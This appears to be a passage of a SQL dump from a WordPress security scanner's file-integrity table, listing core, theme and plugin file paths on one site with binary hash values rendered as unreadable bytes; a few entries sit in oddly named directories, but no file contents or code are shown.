('H\03ۡEp$$','wp-content/themes/twentytwenty/template-parts/navigation.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/navigation.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' RͮMw\Z\nXkq','Lq!wKH>]x\Z\0','',0,'?'),
('J1MF<','wp-admin/js/tags-box.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/tags-box.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BUGX	+','ˠ3\0Zg[wu|H&R6','',0,'?'),
('e2#^G','wp-includes/blocks/heading.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ELVRoHZR','#)-@!2*>','',0,'?'),
('bAp$\'s?G@','wp-includes/Requests/src/Transport/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('c-,Rqee\\','wp-includes/blocks/group/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\	ʝ=fZ9U','\ri$y+h?j魾\Zb3sJ)','',0,'?'),
('?ڟE$PF','wp-includes/pomo/translations.php','/home/trevorkl/trevorklee.com/wp-includes/pomo/translations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gh8','K7c=՛ձŔ','',0,'?'),
('8jc}','wp-includes/blocks/rss/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_u)p0On','r69(g]_14btVgaG','',0,'?'),
('\'Kzf','wp-includes/customize/class-wp-customize-header-image-setting.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-header-image-setting.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$,V9cRd6','dVn*m![IdǺam','',0,'?'),
('5#\"8%`}','wp-content/wflogs/template.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/template.php',0,'lCdb.˴v','lCdb.˴v','Z][WP},7*q\nƑ','',0,'?'),
('!Y;I-u','wp-content/themes/twentynineteen/classes/class-twentynineteen-walker-comment.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/classes/class-twentynineteen-walker-comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':[ڠ ','\Z\0|WL}TA:x1昘','',0,'?'),
('#?Gc	¯l1e','wp-includes/class-wp-theme.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-theme.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"*xyQps`8}@','2Fs=\r	W58+(_A\\+','',0,'?'),
('HPw%8','wp-includes/images/smilies/icon_sad.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_sad.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IxoTMzD-','b5yh9}oWInn','',0,'?'),
('HՍԤꌀLe','wp-content/themes/twentytwentyfive/patterns/cta-newsletter.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-newsletter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i(TZJ3','lbrCųqJlLmu)OiY,y','',0,'?'),
('Q49LzJ','wp-content/plugins/wordfence/lib/wfUtils.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfUtils.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f^΄A+w','I{ib16\\,P$','',0,'?'),
('S~=}%^','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-b.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-b.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9ȹsăŨX','\'hu͹D\Z\0Tٹ?Q','',0,'?'),
('XX*!2~','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/File.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','≝.M#@#\\,','lix[ 9pv4fq؜7E<','',0,'?'),
('[nG{\'q:','wp-includes/ms-deprecated.php','/home/trevorkl/trevorklee.com/wp-includes/ms-deprecated.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K,Q&Tj','rHuӳkn*.!dU~X','',0,'?'),
('\\h RX<C','wp-content/plugins/wordfence/lib/wfMD5BloomFilter.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfMD5BloomFilter.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZPWfO~','A\0degY^S\rjfe','',0,'?'),
('c6~6̐','wp-includes/blocks/button/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eQU,','皫<De>/9 Zng','',0,'?'),
('jQn7dYٳI^','wp-includes/block-patterns/navigation-overlay-centered-with-extras.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-centered-with-extras.php',0,'+CbŻZcB','+CbŻZcB','\ZLcNi)|è d=~O','',0,'?'),
('\Z78-\\~','wp-includes/css/dist/edit-post/classic-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/classic-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uyEpBy0m','fD)&JXs#>z^0cNȄ','',0,'?'),
('3_[#g`','wp-includes/css/dist/block-library/reset-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oG\\\n\'\0$a7','*ӊ;H0Tŕ`_fe*z3ϻ','',0,'?'),
('Jח_yzx6O','wp-admin/network/privacy.php','/home/trevorkl/trevorklee.com/wp-admin/network/privacy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0>H\r5:6','*]X8%KқR	Qf;\ne\r6\\','',0,'?'),
('Ȁ~_qIS','wp-admin/js/password-strength-meter.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/password-strength-meter.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z3r;]<|','1y吥!}}3ɻ}}te\nt','',0,'?'),
('\\D >F,','wp-admin/menu.php','/home/trevorkl/trevorklee.com/wp-admin/menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\ߠƔ^o',':;.>-FGyt|N[U<1&Ř','',0,'?'),
('laމL','wp-includes/css/dist/edit-site/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\sM(N]','wMg@Q/#|OC','',0,'?'),
('on}tf$','wp-content/themes/twentytwentyfour/assets/images/museum.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/museum.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+r~S豌s^','WR%L}6^EC!','',0,'?'),
('OoDW!cML','wp-includes/SimplePie/src/Net/IPv6.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Net/IPv6.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+u=D9-/a','u EG;d@<XHXf}_','',0,'?'),
('\nЈZ{!','wp-includes/sitemaps/kjfl1bg/ky1monx/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('	\")\"0Io','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zq\Zsq776','CDa$=f[Q4JW7l).=%','',0,'?'),
('ꔕTs\r%LJM','wp-includes/blocks/spacer/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rzP#R\r$-','ލ!]L13q+#u}N!\"oh\0x~','',0,'?'),
('&Ż(','wp-admin/js/widgets/custom-html-widgets.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/custom-html-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','çm8,',' [QkߊA\nͥ@N\rV]	','',0,'?'),
('~+qX\"`','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zZBWmB˯','Ȅ!++8,vF+3	','',0,'?'),
('%P-+iNN\ZC','wp-includes/blocks/post-date/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('H&GnPSaH','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-TextItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-TextItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VR_㙾	xxp','pҒ/FNIM]\'ޟA6:E','',0,'?'),
('Z<rkkHr','wp-content/plugins/wordfence/css/license/care-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/care-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/lHrPO','\'\\F~Y27A5a?e8Zu@','',0,'?'),
('c\0{2\ZsO`','wp-includes/sodium_compat/src/Core/AEGIS256.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS256.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y \nlc','?-6WH]BR-}','',0,'?'),
('fL4\"oSA','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2J_Cd','z -x/;O:3291Oˡ','',0,'?'),
('j\Z;\re','wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GO㴍uv','\Zg0sHƽ)>YY#ܡ','',0,'?'),
('wwBI!Ha','wp-content/themes/twentytwentyfive/templates/404.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/404.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xw2lnˋ',':76^V8{<R8|G','',0,'?'),
('}\0:^ht~n &','wp-includes/js/dist/script-modules/edit-site-init/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/edit-site-init/index.min.asset.php',0,'4\ZQN:','4\ZQN:','4O2a%0[݉~Ay(','',0,'?'),
('=CѠ*TX4','wp-admin/css/colors/_variables.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/_variables.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qq\0\\','\04I\ZDv`L~+)~(#','',0,'?'),
('ڷtgZgE','wp-includes/class-wp-http-response.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%*T/l,I\0$','Ң.gLkJ#/ZF]m','',0,'?'),
('9f7lR>P','wp-includes/blocks/comments/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mh	S/v','ͦNDT]۲yfM|o,5wfۋ','',0,'?'),
('jTctQ#','wp-includes/blocks/navigation/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','چj揥',',S9Q6IۍI\'[\"|`BE&','',0,'?'),
(' It13&','wp-admin/js/nav-menu.js','/home/trevorkl/trevorklee.com/wp-admin/js/nav-menu.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','юg\\1\0H|ݞ','Ɇp*pi\r56$bdJaQ','',0,'?'),
('kXK','wp-includes/blocks/term-count/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W2bP1\r;3','ۅyzݫ\ZYMCJ','',0,'?'),
('Glݠ_','wp-includes/js/dist/date.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/date.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cj0вtG','X_Fg{Rqs Rļ	J^	ݲ*Xnͳ','',0,'?'),
('J-狁\\\"ץ&','wp-includes/sodium_compat/src/Core/Util.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ϔ|n{L*-i˭','͋@u,ab]jJ	\r','',0,'?'),
(':|K6Quɚm6','wp-includes/blocks/comment-reply-link/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8o6KRq\Z\r<D','2L@/5;3O\'U-(J8jἹ','',0,'?'),
(';?2S\0p','wp-admin/customize.php','/home/trevorkl/trevorklee.com/wp-admin/customize.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-^iJRs','QdRkb]u\Zƺð\'n>DM','',0,'?'),
('L\"8-[A#','wp-includes/sitemaps/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('X@%1Ci','wp-content/plugins/wordfence/images/lightbox-controls.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/lightbox-controls.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m]a\\$','Ǘh?S):i@h.Xg','',0,'?'),
('].1\rPXL','wp-admin/includes/update.php','/home/trevorkl/trevorklee.com/wp-admin/includes/update.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4چrvDi','F\0qF|bvm״Nh%~E<z','',0,'?'),
('f(96yaN|2','wp-content/plugins/wordfence/waf/pomo/translations.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/translations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ā\\cg',' ϞO)3JFN,xrB\0\'','',0,'?'),
('i|2=D1ϯr','wp-content/themes/twentytwentyfive/patterns/cta-book-locations.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-book-locations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')=OfJ!F~7','\r\Z>i2t*v\0','',0,'?'),
('rY\0S(z|','wp-content/plugins/wordfence/modules/login-security/classes/model/notice.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/notice.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iqk','|_{+\"pr՛rΒ=(','',0,'?'),
('s8\'ɀ\Z%Cx','wp-includes/blocks/archives/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ΡC7nC\ZJ','\Z:v\ZQ,K.\ZM&+ix','',0,'?'),
('u${ܨv','wp-includes/blocks/latest-comments.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q͇oVI','f)K|Ϳ@,vZz\rGM:h','',0,'?'),
('~KɁwwfC','wp-admin/js/widgets/media-gallery-widget.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-gallery-widget.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{c/I<','y\\RTܠUtmY(㻱̿','',0,'?'),
('ƌ\Z,H','wp-content/themes/twentynineteen/postcss.config.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/postcss.config.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_L\"\ZH','\\f|\"!r4d/.\r/5qB','',0,'?'),
('KK1l!D','wp-content/themes/twentytwenty/comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8I9٣','֣1}[Y0tV407t)','',0,'?'),
('\r[\0EuJ','wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tm:We\04','s	G/67Ue[_Z3b&eh6̉F','',0,'?'),
('4y3%k ','wp-admin/js/widgets/media-image-widget.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-image-widget.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';k#?cQ7(e','o{\rrh5Fww	LeFz]','',0,'?'),
('| ','wp-includes/js/masonry.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/masonry.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';?&TJexH','$!|=#fcjc:TQ0b,ʉ','',0,'?'),
('1@dT qqzk','wp-includes/sodium_compat/lib/php84compat_const.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/php84compat_const.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&ݯ]\"\0Nh','`̪J,zqNL/g.lJ՟','',0,'?'),
('Θr(Ł ','wp-admin/js/auth-app.js','/home/trevorkl/trevorklee.com/wp-admin/js/auth-app.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#LPS[f','F@H8݇7an#{j','',0,'?'),
('v{Cҧ4I','wp-content/plugins/wordfence/lib/wfViewResult.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfViewResult.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O\nt=','B4RUOV-JmeW|$P','',0,'?'),
('\0뀄	;t/-','wp-includes/blocks/file/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$>-Jhab4 ','h%{pٍV)%Ln*`','',0,'?'),
('p$^dZ','wp-admin/network/plugin-install.php','/home/trevorkl/trevorklee.com/wp-admin/network/plugin-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%(Fv\0~F','ڙs-s~uYeTF4! *','',0,'?'),
('ګc\r28.\'\"','wp-content/themes/twentytwentyone/assets/js/customize-preview.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize-preview.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?yO+D','\n=/?Ilbi8AHxV5A?vi','',0,'?'),
('[Kb28','wp-includes/pomo/po.php','/home/trevorkl/trevorklee.com/wp-includes/pomo/po.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4@9yG8',':ډLڃaOw={KG','',0,'?'),
('	dDxݲeJS\0','wp-includes/blocks/comment-reply-link/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9\r*?úg','UEв3T`2\r}uv.ux+$\')I','',0,'?'),
('JHl\"GL','wp-includes/css/dist/block-library/reset-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$XyRIS','2bmqVɻ,5\ne3rÐ','',0,'?'),
('XJp','wp-content/plugins/wordfence/lib/wfBrowscapCache.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBrowscapCache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TQxj','1YTЈqW6݋h	','',0,'?'),
('9[E:Ѷq	A','wp-includes/blocks/calendar/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ϛQOJB-','z)#6j1LTG[r,','',0,'?'),
('#\nɰЂ','wp-includes/blocks/query-title/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-title/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']l¥ˀ3','d\"Q٥[Rf?а-[1#xr,md\r_','',0,'?'),
('&½1YxFumpC','wp-content/themes/twentytwentyone/template-parts/content/content-page.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content-page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wq@rW:s^\n!','Oҏ<餫q2d\r,w)	','',0,'?'),
('1[z!','wp-content/plugins/loginizer/main/settings/2fa.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/2fa.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fݭnu','*q=\\o7ohr?','',0,'?'),
('6s:ifak\nm','wp-includes/js/tinymce/utils/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/utils/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Sq`M','wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=B\nyNx{','EzB4/pŘ\r۞.B3','',0,'?'),
('X޽ApSEL','wp-content/maintenance/template.phtml','/home/trevorkl/trevorklee.com/wp-content/maintenance/template.phtml',0,'U7\"%+D','U7\"%+D','Ҥ\\e5\'	y{','',0,'?'),
(']_\Z?ʤwHo','wp-includes/blocks/avatar/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8Rd-u','7oWݹP*\0ӛ^Ũt','',0,'?'),
('n֢\rV5,','wp-includes/widgets/class-wp-widget-meta.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-meta.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j+(,^b(','PL+witZdkZ{XV`t','',0,'?'),
('ol>x~I ','wp-admin/network/about.php','/home/trevorkl/trevorklee.com/wp-admin/network/about.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~(4G','j/}Ӆ\0ES̤\\Hg#Z._','',0,'?'),
('{ϲ\"f~A?z]','wp-includes/Requests/src/Iri.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Iri.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jeQd2','̣ѳj쭢&wF򝢂 j5JX','',0,'?'),
('0jlSK','wp-includes/post.php','/home/trevorkl/trevorklee.com/wp-includes/post.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6F=o{','G\"As\\d\"KWj/	','',0,'?'),
('ސqic=','wp-includes/class-wp-simplepie-file.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-simplepie-file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=ks8?Pt\'h','3V\n	cFy','',0,'?'),
('aOp,[LMa','wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@)^(/','mYdZQ`U4qK򅷎','',0,'?'),
('_Q|]`\Z','wp-includes/blocks/table/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ye_\rk*8','A\'Rr;hWOؔ!F%S_s0 ','',0,'?'),
('«-j=uN\\q\'','wp-admin/css/farbtastic.css','/home/trevorkl/trevorklee.com/wp-admin/css/farbtastic.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8)}{Ch2U','|ALMbxd8XjX.^\n\Z','',0,'?'),
('˽u(CHnP','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ugkDEK','wp-includes/blocks/query-pagination-numbers/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';D}WRq>]$','x=f\0_ꊔ\ZmLqbJ','',0,'?'),
('hnށ2=|׬','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/error_log','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/error_log',0,'s\'qց','s\'qց','|.\nM*x\n3H|\07捻fJ(','',0,'?'),
('ᗏ3-4','wp-admin/css/colors/midnight/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y(읎[mW\Zy','t^ዢl\Zv6̙3Na />*c','',0,'?'),
('ql}Dɯb#','wp-includes/sodium_compat/lib/php84compat.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/php84compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K-ZԘyQ6','i[Uk|059J,-!9','',0,'?'),
('A8t2K)zH7','wp-includes/css/dist/commands/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yOļ3)<\\\n',',oZ#(3G^1\']y`nn!','',0,'?'),
('\"ڕK[@G9','wp-admin/includes/class-wp-theme-install-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-theme-install-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Eͯt4nu','O1(9U3uM?%Jo@f','',0,'?'),
('#u0c}','wp-includes/js/dist/i18n.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/i18n.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k-]V*Kצ%i','ű񦇭\\݃D׎©]\\','',0,'?'),
('\'nH2^:!.ϥ','wp-includes/sodium_compat/src/Core/AEGIS/State128L.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AEGIS/State128L.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','83ݩ8Z#','9/z5l\'w,\\Ϸؠ}[','',0,'?'),
(')nλmPU','wp-content/plugins/wordfence/modules/login-security/css/admin-global.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/admin-global.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q68+`X)','ҧڴ|I搕l#$M7[T','',0,'?'),
('3!9=6ݡ','wp-admin/images/resize-rtl-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/resize-rtl-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MMH!YA','2mo{|ny˃4(φ=','',0,'?'),
('Eحa~~p&1','wp-includes/blocks/comment-reply-link/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9\r*?úg','UEв3T`2\r}uv.ux+$\')I','',0,'?'),
('IooԆ5nuѭH','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/LICENSE','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/LICENSE',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0?4\'+̶L)$','Y	ORٴ@M=xMK\Z.','',0,'?'),
